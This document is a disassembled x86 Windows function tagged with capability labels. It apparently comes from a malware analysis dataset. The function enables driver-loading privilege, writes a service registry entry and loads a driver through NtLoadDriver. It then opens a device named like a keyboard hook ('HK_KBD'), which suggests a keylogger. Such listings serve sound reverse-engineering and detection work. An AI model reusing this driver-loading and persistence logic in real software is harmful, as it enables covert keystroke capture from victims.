Function at 0x4210b0
Capabilities:
Link many functions at runtime
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x459acb
mov eax, dword fs:[0]
push eax
sub esp, 0x600
mov eax, dword [0x46db30]
xor eax, ebp
mov dword [ebp - 0x20], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x244]
push eax
call fcn.00420ed0
add esp, 4
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x244]
call fcn.00404600
movzx ecx, al
test ecx, ecx
je 0x42112c
mov dword [ebp - 0x598], 0xffffffff
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x244]
call fcn.0042edc0
mov eax, dword [ebp - 0x598]
jmp 0x421743
lea edx, [ebp - 0x240]
push edx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4211ce
lea eax, [ebp - 0x464]
push eax
push str.SeLoadDriverPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4211ce
mov dword [ebp - 0x468], 2
mov ecx, dword [ebp - 0x464]
mov dword [ebp - 0x470], ecx
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x46c], edx
mov dword [ebp - 0x480], 1
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x47c], eax
mov ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x478], ecx
mov edx, dword [ebp - 0x468]
mov dword [ebp - 0x474], edx
push 0
push 0
push 0
lea eax, [ebp - 0x480]
push eax
push 0
mov ecx, dword [ebp - 0x240]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov dword [ebp - 0x5ac], str.SystemCurrentControlSetServices_
lea edx, [ebp - 0x224]
mov dword [ebp - 0x5b0], edx
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x5b4], eax
mov ecx, dword [ebp - 0x5ac]
mov dx, word [ecx]
mov word [ebp - 0x5b6], dx
mov eax, dword [ebp - 0x5b0]
mov cx, word [ebp - 0x5b6]
mov word [eax], cx
mov edx, dword [ebp - 0x5ac]
add edx, 2
mov dword [ebp - 0x5ac], edx
mov eax, dword [ebp - 0x5b0]
add eax, 2
mov dword [ebp - 0x5b0], eax
cmp word [ebp - 0x5b6], 0
jne 0x4211f0
lea ecx, [ebp - 0x224]
add ecx, 0xfffffffe
mov dword [ebp - 0x5bc], ecx
mov edx, dword [ebp - 0x5bc]
mov ax, word [edx + 2]
mov word [ebp - 0x5be], ax
add dword [ebp - 0x5bc], 2
cmp word [ebp - 0x5be], 0
jne 0x421247
mov edi, dword [ebp - 0x5bc]
mov ecx, dword [0x45fb68]
mov dword [edi], ecx
mov edx, dword [0x45fb6c]
mov dword [edi + 4], edx
mov eax, dword [0x45fb70]
mov dword [edi + 8], eax
mov cx, word [0x45fb74]
mov word [edi + 0xc], cx
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x224]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [ebp - 0x454], 1
push 4
lea ecx, [ebp - 0x454]
push ecx
push 4
push 0
push 0x45fb78
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x454]
push eax
push 4
push 0
push str.ErrorControl
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x454], 3
push 4
lea edx, [ebp - 0x454]
push edx
push 4
push 0
push str.Start
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x5c4], 0x45fbac
lea ecx, [ebp - 0x44c]
mov dword [ebp - 0x5c8], ecx
mov edx, dword [ebp - 0x5c8]
mov dword [ebp - 0x5cc], edx
mov eax, dword [ebp - 0x5c4]
mov cx, word [eax]
mov word [ebp - 0x5ce], cx
mov edx, dword [ebp - 0x5c8]
mov ax, word [ebp - 0x5ce]
mov word [edx], ax
mov ecx, dword [ebp - 0x5c4]
add ecx, 2
mov dword [ebp - 0x5c4], ecx
mov edx, dword [ebp - 0x5c8]
add edx, 2
mov dword [ebp - 0x5c8], edx
cmp word [ebp - 0x5ce], 0
jne 0x421333
lea ecx, [ebp - 0x244]
call fcn.0041ebc0
mov dword [ebp - 0x5d4], eax
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x5d8], eax
mov ecx, dword [ebp - 0x5d4]
mov dx, word [ecx]
mov word [ebp - 0x5da], dx
add dword [ebp - 0x5d4], 2
cmp word [ebp - 0x5da], 0
jne 0x421398
mov eax, dword [ebp - 0x5d4]
sub eax, dword [ebp - 0x5d8]
mov ecx, dword [ebp - 0x5d8]
mov dword [ebp - 0x5e0], ecx
mov dword [ebp - 0x5e4], eax
lea edx, [ebp - 0x44c]
add edx, 0xfffffffe
mov dword [ebp - 0x5e8], edx
mov eax, dword [ebp - 0x5e8]
mov cx, word [eax + 2]
mov word [ebp - 0x5ea], cx
add dword [ebp - 0x5e8], 2
cmp word [ebp - 0x5ea], 0
jne 0x4213e6
mov edi, dword [ebp - 0x5e8]
mov esi, dword [ebp - 0x5e0]
mov edx, dword [ebp - 0x5e4]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x44c]
mov dword [ebp - 0x5f0], eax
mov ecx, dword [ebp - 0x5f0]
add ecx, 2
mov dword [ebp - 0x5f4], ecx
mov edx, dword [ebp - 0x5f0]
mov ax, word [edx]
mov word [ebp - 0x5f6], ax
add dword [ebp - 0x5f0], 2
cmp word [ebp - 0x5f6], 0
jne 0x421443
mov ecx, dword [ebp - 0x5f0]
sub ecx, dword [ebp - 0x5f4]
sar ecx, 1
mov dword [ebp - 0x5fc], ecx
mov edx, dword [ebp - 0x5fc]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x44c]
push ecx
push 2
push 0
push str.ImagePath
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x45fbcc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x23c], eax
push str.NtLoadDriver
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push str.NtUnloadDriver
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
push str.RtlAnsiStringToUnicodeString
mov eax, dword [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x450], eax
push str.RtlInitAnsiString
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x458], eax
push str.RtlFreeUnicodeString
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x1c], 0
je 0x42166f
cmp dword [ebp - 0x14], 0
je 0x42166f
cmp dword [ebp - 0x450], 0
je 0x42166f
cmp dword [ebp - 0x458], 0
je 0x42166f
cmp dword [ebp - 0x45c], 0
je 0x42166f
mov ecx, 0xd
mov esi, str.RegistryMachineSystemCurrentControlSetServices_
lea edi, [ebp - 0x584]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x584]
add eax, 0xffffffff
mov dword [ebp - 0x600], eax
mov ecx, dword [ebp - 0x600]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x601], dl
add dword [ebp - 0x600], 1
cmp byte [ebp - 0x601], 0
jne 0x421587
mov edi, dword [ebp - 0x600]
mov eax, dword [0x45fc84]
mov dword [edi], eax
mov cx, word [0x45fc88]
mov word [edi + 4], cx
mov dl, byte [0x45fc8a]
mov byte [edi + 6], dl
lea eax, [ebp - 0x584]
push eax
lea ecx, [ebp - 0x58c]
push ecx
call dword [ebp - 0x458]
push 1
lea edx, [ebp - 0x58c]
push edx
lea eax, [ebp - 0x594]
push eax
call dword [ebp - 0x450]
test eax, eax
je 0x42161e
mov dword [ebp - 0x59c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x244]
call fcn.0042edc0
mov eax, dword [ebp - 0x59c]
jmp 0x421743
lea ecx, [ebp - 0x594]
push ecx
call dword [ebp - 0x1c]
test eax, eax
jne 0x42163b
lea edx, [ebp - 0x594]
push edx
call dword [ebp - 0x45c]
jmp 0x42166f
lea eax, [ebp - 0x594]
push eax
call dword [ebp - 0x45c]
mov dword [ebp - 0x5a0], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x244]
call fcn.0042edc0
mov eax, dword [ebp - 0x5a0]
jmp 0x421743
mov ecx, dword [str.._]
mov dword [ebp - 0x238], ecx
mov dl, byte [0x45fc90]
mov byte [ebp - 0x234], dl
lea eax, [ebp - 0x238]
add eax, 0xffffffff
mov dword [ebp - 0x608], eax
mov ecx, dword [ebp - 0x608]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x609], dl
add dword [ebp - 0x608], 1
cmp byte [ebp - 0x609], 0
jne 0x421696
mov edi, dword [ebp - 0x608]
mov eax, dword [str.HK_KBD]
mov dword [edi], eax
mov cx, word [0x45fc98]
mov word [edi + 4], cx
mov dl, byte [0x45fc9a]
mov byte [edi + 6], dl
push 0
push 0x40000000
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x421722
mov dword [ebp - 0x5a4], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x244]
call fcn.0042edc0
mov eax, dword [ebp - 0x5a4]
jmp 0x421743
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x5a8], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x244]
call fcn.0042edc0
mov eax, dword [ebp - 0x5a8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.00441cf2
mov esp, ebp
pop ebp
ret